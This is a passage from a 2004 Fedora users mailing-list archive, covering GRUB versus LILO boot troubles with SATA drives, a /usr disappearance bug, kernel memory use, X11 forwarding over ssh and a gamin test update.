reproduce but can you please open a bug report about it? So I can ask for more details without spamming the list... Thanks Marco From gslink at one.net Tue Nov 30 12:04:15 2004 From: gslink at one.net (gslink) Date: Tue, 30 Nov 2004 07:04:15 -0500 Subject: /usr has vanished Message-ID: <41AC61BF.20102@one.net> There is no Bugzilla entry for what I reported. I do not normally report most problems to Bugzilla until the release gets more stable. Usually by the time that the entry is acted on the test release is obsolete and the entry just becomes clutter. If this problem remains in the system then I will report it. About 80% of our problem list vanished from FC2 to FC3 and what will happen with FC3 I do not know. I suspect the bugs will be replaced. Many of these problems are like reporting checksum errors on iso files. It doesn't help the file with the error because it is obsolete. It just helps insure that the next release doesn't have an error. From guy at incentre.net Tue Nov 30 15:25:14 2004 From: guy at incentre.net (Guy Fraser) Date: Tue, 30 Nov 2004 08:25:14 -0700 Subject: Booting with Grub In-Reply-To: <1101614514.5373.5.camel@localhost.localdomain> References: <1101614514.5373.5.camel@localhost.localdomain> Message-ID: <41AC90DA.9070904@incentre.net> Vadim wrote: > On a similar note. > Why did we stop supporting LILO? Man do I agree with that one. Grub is very painfull, to configure with SATA and regular IDE mixed together. With grub add a non IDE or SATA device and grub won't boot... I finally figured out that I had to rearange the drives in the advanced boot setup during install of FC3, so that the sd drives came before the hd drives, now I can have regular IDE and SATA in the same machine. Using lilo you just use the actual device name in the config file like "/dev/hda1" or "/dev/sda1", not some stupid pointer like "hd0" to a map entry to a device. > -V > On Sat, 2004-11-27 at 17:46 -0800, JERRY WHITMIRE wrote: > >>Hi is it possible to have FC3 on one hard drive 1 >>Win Xp.service 2 on 2 hard drive >>Fedora core 3 test 3 on 3 hard drive >>and have it where Grub will boot up to them and what order should thay be in >>? >>Thanks >>Jerry W. Whitmire >>jerryw4386 at msn.com >> >>_________________________________________________________________ >>Express yourself instantly with MSN Messenger! Download today - it's FREE! >>http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/ >> >> >> -- Guy Fraser Network Administrator From surak at casa.surak.eti.br Tue Nov 30 15:30:34 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Tue, 30 Nov 2004 12:30:34 -0300 Subject: Memory consumption Message-ID: <1101828632.10796.8.camel@localhost.surak.eti.br> Did anything happened after kernel 2.6.7? I've upgraded my kernel to 2.6.8 (yeah fc2, but I've seen some people complaining about it on newer kernels, that's why I'm asking here). The memory is being used more than ever, for the same applications. Something like 300 megs for evolution (The machine has 384mb of ram, so you could figure what happens with swap). I don't know what happened, but after some upgrades the machine IS consuming more memory than ever. This happens with every app I use, evolution was an example. -- []s Alexandre Ganso 500 FOUR vermelha - Diretor Steel Goose Moto Group From linux_4ever at yahoo.com Tue Nov 30 14:46:18 2004 From: linux_4ever at yahoo.com (Steve G) Date: Tue, 30 Nov 2004 06:46:18 -0800 (PST) Subject: livecd using fedora core 3 with kde3.3.1, gnome 2.8 etc In-Reply-To: <80d7e4090411291656527d5fb4@mail.gmail.com> Message-ID: <20041130144618.43655.qmail@web50601.mail.yahoo.com> >How goes Rookery these days? I remember you generating a lot of >patches at times to get Fedora to a certain stage.. did you get X >going? Yes, I started into X. I added the capability to have multiple repositories so that I can have a core set of srpms and then X, apache/php, gnome, KDE, extras, etc. Being able to separate the source packages into multiple directories was a big help. X itself isn't bad. I don't remember any significant problems. I have not ventured into Gnome or KDE yet. I'll probably grab the whole Fedora Repo later this week and see how things work out. As for the Rookery, its close to being production ready. I need to write some code to resolve files to packages so that BuildRequires with a file name works better (I'll discuss this below), finalize the technique for solving circular dependencies, and then integrate the Live CD creation. Because its a bootstrap build, you can't use rpm -qf to resolve files to rpms and then to srpms. Having file names in the BuildRequires makes it impossible to work out the order that the build has to proceed in. I can create a database as each package gets built so that I can lookup Requires & Prereq; but BuildRequires is a different story. I have only found one package that needed a BuildRequires on a file. I think it was mutt, but I'm not 100% sure...I think it wanted /usr/lib/sendmail. ALL of the other packages that have file names in the BuildRequires can be converted to a package name. That's what I've done in my personal repo and it works fine...its just a lot of work to maintain. :( -Steve Grubb __________________________________ Do you Yahoo!? The all-new My Yahoo! - What will yours do? http://my.yahoo.com From veillard at redhat.com Tue Nov 30 16:14:25 2004 From: veillard at redhat.com (Daniel Veillard) Date: Tue, 30 Nov 2004 11:14:25 -0500 Subject: gamin-0.0.18-1.FC3 test update Message-ID: <20041130161425.GL25551@redhat.com> This is yet another attempt at fixing the problem where the gam_server goes into an infinite loop (or other nastyness) which are very likely to be related to GList free pool corruptions. People experiencing problems with gam_server should try to update and report if they can reproduce the problems and report so in https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132354 If no negative report is shown this will be pushed as a final update in a week, thanks, Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From guy at incentre.net Tue Nov 30 17:16:17 2004 From: guy at incentre.net (Guy Fraser) Date: Tue, 30 Nov 2004 10:16:17 -0700 Subject: Booting with Grub In-Reply-To: <1101616516.8184.6.camel@tabb1.tabb> References: <1101614514.5373.5.camel@localhost.localdomain> <1101616516.8184.6.camel@tabb1.tabb> Message-ID: <41ACAAE1.8090009@incentre.net> Phil Schaffner wrote: >On Sat, 2004-11-27 at 20:01 -0800, Vadim wrote: > > >>On a similar note. >>Why did we stop supporting LILO? >> >> > >Because GRUB is more powerful, has a shell, doesn't have to be >reinstalled every time the config is changed? > > > No, but install a new drive and with no errors you may get nothing but a blinking cursor after selecting your entry. The documentation for grub does not seem explain how drives are ordered or how to list the order in which they are detected. Mapping drives seems like driving in the dark without headlights on a moonless night. Can you point me and the rest of the people suffering from this problem to some enlightening information on how to configure grub from a rescue disk so that it will work after installing an SATA, SCSI or RAID drive. In bugzilla there are hundreds of bugs marked as "NOTABUG" with a variety of issues similar to this. The "fixes" for this type of problem appear to be quite mysterious, and without reasonable explanation to why someone did what they did to make it work. I had to reinstall FC3 and reorder the drives in the advanced boot config to make it work. Bandwidth and time required to reinstall and get all the updates again aside, this is not a reasonable way to add SATA drives to a machine. Lilo may not have a shell, but it does not add ambiguity to which drive is which. I don't see how being able to mess around in your boot loader during boot is of any more help. All I used to do was boot a rescue disk edit lilo.conf, run lilo and reboot, no big deal. Three days of messing around struggling through "info grub" and searching bugzilla, is not intuitive. If grub was more intuitive, and not encumbered by "magic" device mapping your assessment might be correct. But with no apparent documentation on how to properly modify "device.map", or even if it is the right file to modify, it is almost a futile effort to modify the grub config by hand. >Good old LILO is still there in the base distribution if you want to use >it. Quite a few people still seem to like it, or maybe old habits die >hard. > >Phil > > Lilo is a good boot loader, and that is all it is good for, but thats what it was meant to do. Most people don't need access to a shell that lets them muck around before the system boots, most people just want to select an option if they have a multi boot system or different kernels for testing purposes. Too bad lilo can't be installed as the default boot loader. According to bugzilla there are hundreds of complaints about grub causing problems that are not bugs, but can not be solved intuitively by modifying a single file and running a simple command to update the boot configuration. My opinion is that either GRUB is poorly designed, too complex for most users, or needs good {not info based} documentation, that explains how to map real devices to the logical devices used in the menu.lst file. Or grub should not internally rearrange logical device maps when new devices are added as it appears to be doing. -- Guy Fraser Network Administrator From vadim at overture.com Tue Nov 30 17:36:59 2004 From: vadim at overture.com (Vadim) Date: Tue, 30 Nov 2004 09:36:59 -0800 Subject: X server problems? In-Reply-To: <41AC296E.9020702@inet6.fr> References: <1101752220.4666.17.camel@localhost.localdomain> <1101760534.29565.2.camel@kyrre> <1101765562.4666.39.camel@localhost.localdomain> <41AC296E.9020702@inet6.fr> Message-ID: <1101836219.4833.2.camel@localhost.localdomain> That did it. Thank you! -V On Tue, 2004-11-30 at 09:03 +0100, Lionel Bouton wrote: > Vadim wrote the following on 11/29/2004 10:59 PM : > > > I am ssh'ing. > > And I have x forwarding turned on. I get the window, it just crashes > > for some undetermined reason. > > > Use ssh -Y or put "ForwardTrustedX11 yes" in /etc/ssh/ssh_config. I > didn't understand this new option fully but it seems "ForwardX11" or ssh > -X don't allow some X extensions to be used anymore. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mattdm at mattdm.org Tue Nov 30 17:45:07 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 30 Nov 2004 12:45:07 -0500 Subject: Memory consumption In-Reply-To: <1101828632.10796.8.camel@localhost.surak.eti.br> References: <1101828632.10796.8.camel@localhost.surak.eti.br> Message-ID: <20041130174507.GA27200@jadzia.bu.edu> On Tue, Nov 30, 2004 at 12:30:34PM -0300, Alexandre Strube wrote: > Did anything happened after kernel 2.6.7? I've upgraded my kernel to > 2.6.8 (yeah fc2, but I've seen some people complaining about it on newer > kernels, that's why I'm asking here). The memory is being used more than > ever, for the same applications. Something like 300 megs for evolution Try 2.6.9-1.6_FC2. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From surak at casa.surak.eti.br Tue Nov 30 20:11:16 2004 From: surak at casa.surak.eti.br (Alexandre Strube) Date: Tue, 30 Nov 2004 17:11:16 -0300 Subject: Memory consumption In-Reply-To: <20041130174507.GA27200@jadzia.bu.edu> References: <1101828632.10796.8.camel@localhost.surak.eti.br> <20041130174507.GA27200@jadzia.bu.edu> Message-ID: <1101845477.5822.1.camel@localhost.surak.eti.br> Em Ter, 2004-11-30 ?s 12:45 -0500, Matthew Miller escreveu: > On Tue, Nov 30, 2004 at 12:30:34PM -0300, Alexandre Strube wrote: > > Did anything happened after kernel 2.6.7? I've upgraded my kernel to > > 2.6.8 (yeah fc2, but I've seen some people complaining about it on newer > > kernels, that's why I'm asking here). The memory is being used more than > > ever, for the same applications. Something like 300 megs for evolution > Try 2.6.9-1.6_FC2. I've just upgraded from fc2 to fc3, that's enough for a day :-) Are you aware of any issue regarding kernel and memory usage? From Philip.R.Schaffner at nasa.gov Tue Nov 30 20:15:24 2004 From: Philip.R.Schaffner at nasa.gov (Phil Schaffner) Date: Tue, 30 Nov 2004 15:15:24 -0500 Subject: Booting with Grub In-Reply-To: <41ACAAE1.8090009@incentre.net> References: <1101614514.5373.5.camel@localhost.localdomain> <1101616516.8184.6.camel@tabb1.tabb> <41ACAAE1.8090009@incentre.net> Message-ID: <1101845724.5631.136.camel@wx1.larc.nasa.gov> On Tue, 2004-11-30 at 10:16 -0700, Guy Fraser wrote: > > Phil Schaffner wrote: > > >On Sat, 2004-11-27 at 20:01 -0800, Vadim wrote: > > > >>On a similar note. > >>Why did we stop supporting LILO? > > > >Because GRUB is more powerful, has a shell, doesn't have to be > >reinstalled every time the config is changed? > > > No, but install a new drive and with no errors you may get nothing but a > blinking > cursor after selecting your entry. I remember several instances of "LI" or "LI..." followed by repeated numbers (like 02 02 02 ... IIRC) ad infinitum. > The documentation for grub does not seem explain how drives are ordered or > how to list the order in which they are detected. Mapping drives seems like > driving in the dark without headlights on a moonless night. But a least you can get a steering wheel (boot from a grub floppy) and pick up a stick to probe around with ("find" command in grub shell). > Can you point me and the rest of the people suffering from this problem > to some > enlightening information on how to configure grub from a rescue disk so > that it > will work after installing an SATA, SCSI or RAID drive. In bugzilla > there are > hundreds of bugs marked as "NOTABUG" with a variety of issues similar to > this. The "fixes" for this type of problem appear to be quite > mysterious, and > without reasonable explanation to why someone did what they did to make it > work. There have been some extensive threads on getting grub configured, but some better documentation would certainly help. It is difficult to generalize the techniques one can use when grub is not working properly, and to cover all the variations in possible drive mappings between BIOS, CMOS setup options, and kernel device names. > I had to reinstall FC3 and reorder the drives in the advanced boot > config to > make it work. Bandwidth and time required to reinstall and get all the > updates > again aside, this is not a reasonable way to add SATA drives to a machine. Probably could have saved the reinstall by spending the time figuring out the required device.map using the grub shell and then fixing it in rescue mode, but I haven't had to tackle that particular problem yet. Expecting my first SATA machine this week. (Times have been lean of late.) > Lilo may not have a shell, but it does not add ambiguity to which drive is > which. I don't see how being able to mess around in your boot loader > during boot is of any more help. All I used to do was boot a rescue disk > edit lilo.conf, run lilo and reboot, no big deal. Three days of messing > around struggling through "info grub" and searching bugzilla, is not > intuitive. So install LILO and away you go (until/unless it gets dropped as the "depreciated" status indicates). > If grub was more intuitive, and not encumbered by "magic" device mapping > your assessment might be correct. But with no apparent documentation on > how to properly modify "device.map", or even if it is the right file to > modify, > it is almost a futile effort to modify the grub config by hand. Again, some better documentation might help. An example of debug technique: http://www.redhat.com/archives/fedora-list/2004-May/msg02647.html > > >Good old LILO is still there in the base distribution if you want to use > >it. Quite a few people still seem to like it, or maybe old habits die > >hard. > > > >Phil Forgot the smiley emoticon. :-) Thought this might start a religious war. > > > Lilo is a good boot loader, and that is all it is good for, but thats > what it was > meant to do. Used LILO [mostly] happily for years and was not an early adopter of GRUB, but both have their good/bad points. I use GRUB now for its good points, and because it is the default. > Most people don't need access to a shell that lets them muck > around before the system boots, most people just want to select an > option if > they have a multi boot system or different kernels for testing purposes. Or perhaps many people have not taken the time to figure out how useful the GRUB shell can be for debugging problems. > Too > bad lilo can't be installed as the default boot loader. Doubt we're going to go back, but at least LILO should remain an option for those who prefer it. Perhaps a Bugzilla RFE is in order? > According to bugzilla there are hundreds of complaints about grub causing > problems that are not bugs, but can not be solved intuitively by modifying > a single file and running a simple command to update the boot configuration. > > My opinion is that either GRUB is poorly designed, too complex for most > users, or needs good {not info based} documentation, that explains how to > map real devices to the logical devices used in the menu.lst file. Or grub > should not internally rearrange logical device maps when new devices are > added as it appears to be doing. Would certainly be better if grub did a better job of "guessing" the same device ordering at boot time that is seen under Linux kernel. Info-based vs man page is likely to start another long discussion. Phil From michal at harddata.com Tue Nov 30 21:33:01 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 30 Nov 2004 14:33:01 -0700 Subject: /usr has vanished In-Reply-To: <41AC61BF.20102@one.net>; from gslink@one.net on Tue, Nov 30, 2004 at 07:04:15AM -0500 References: <41AC61BF.20102@one.net> Message-ID: <20041130143301.A20584@mail.harddata.com> On Tue, Nov 30, 2004 at 07:04:15AM -0500, gslink wrote: > There is no Bugzilla entry for what I reported. I do not normally > report most problems to Bugzilla until the release gets more stable. .... > About 80% of our problem list vanished from FC2 to FC3 Quite likely because somebody else did bother and filed a report. Yes, a search for already present bug reports could be easier and smarter (on occasions I had troubles finding things which I knew were there) but testing without reporting findings does not sound very productive. BTW - the problem with a vanishing "/usr" should be fixed in freshly available initscripts-8.00-1. See https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=139656 if you want to know more. Michal From pauljohn at ku.edu Tue Nov 30 21:45:45 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Tue, 30 Nov 2004 15:45:45 -0600 Subject: how to have hal be selective In-Reply-To: <33526.68.92.85.103.1101651826.squirrel@webmail.ec-group.com> References: <33150.68.92.85.103.1101603591.squirrel@webmail.ec-group.com> <604aa79104112720587d9dae4c@mail.gmail.com> <33518.68.92.85.103.1101650951.squirrel@webmail.ec-group.com> <33526.68.92.85.103.1101651826.squirrel@webmail.ec-group.com> Message-ID: <41ACEA09.7060202@ku.edu> On my systems, it is sufficient to do /sbin/service haldaemon stop to make the system quit trying to "help" me with media and devices Brian Millett wrote: >>>On Sat, 27 Nov 2004 18:59:51 -0600 (CST), Brian Millett >>> wrote: > > Well, before I filed a bug, I tried stopping g-v-m and inserted a blank > cd. Nuts! It shows up. So any ideas what is really handling mounting > blank media? Or is that a bug? Or am I just not testing correctly? > -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From gslink at one.net Tue Nov 30 23:10:20 2004 From: gslink at one.net (gslink) Date: Tue, 30 Nov 2004 18:10:20 -0500 Subject: /usr has vanished In-Reply-To: <20041130143301.A20584@mail.harddata.com> References: <41AC61BF.20102@one.net> <20041130143301.A20584@mail.harddata.com> Message-ID: <41ACFDDC.2060208@one.net> You forget something. ALL bug reports MUST be properly documented. You can't just report that it doesn't work. The cost of a usefull bug report is anywhere from $500 to $15000 for a bug such as this because it is necessary to spend the time to find out what is really wrong. Some of these bugs cost so much we can't afford to report them. That was the case here. It is simply not obvious what code is actually causing this problem. We have several of these problems but all are going to need lots of digging even to get a case that fails every time and a bug that can't be reproduced is not the proper subject of a bug report. From seandarcy at hotmail.com Tue Nov 30 23:19:11 2004 From: seandarcy at hotmail.com (sean darcy) Date: Tue, 30 Nov 2004 18:19:11 -0500 Subject: howto upgrade fc3 to x86_64? Message-ID: I'm running fc3. Just got a new athlon64 macine. Just moved over my hard drives. Works fine. Now I want to convert/upgrade the fc3 from i386 to x86_64. I'd really prefer not to do a clean install - I'll never remember how this machine is set up. thanks sean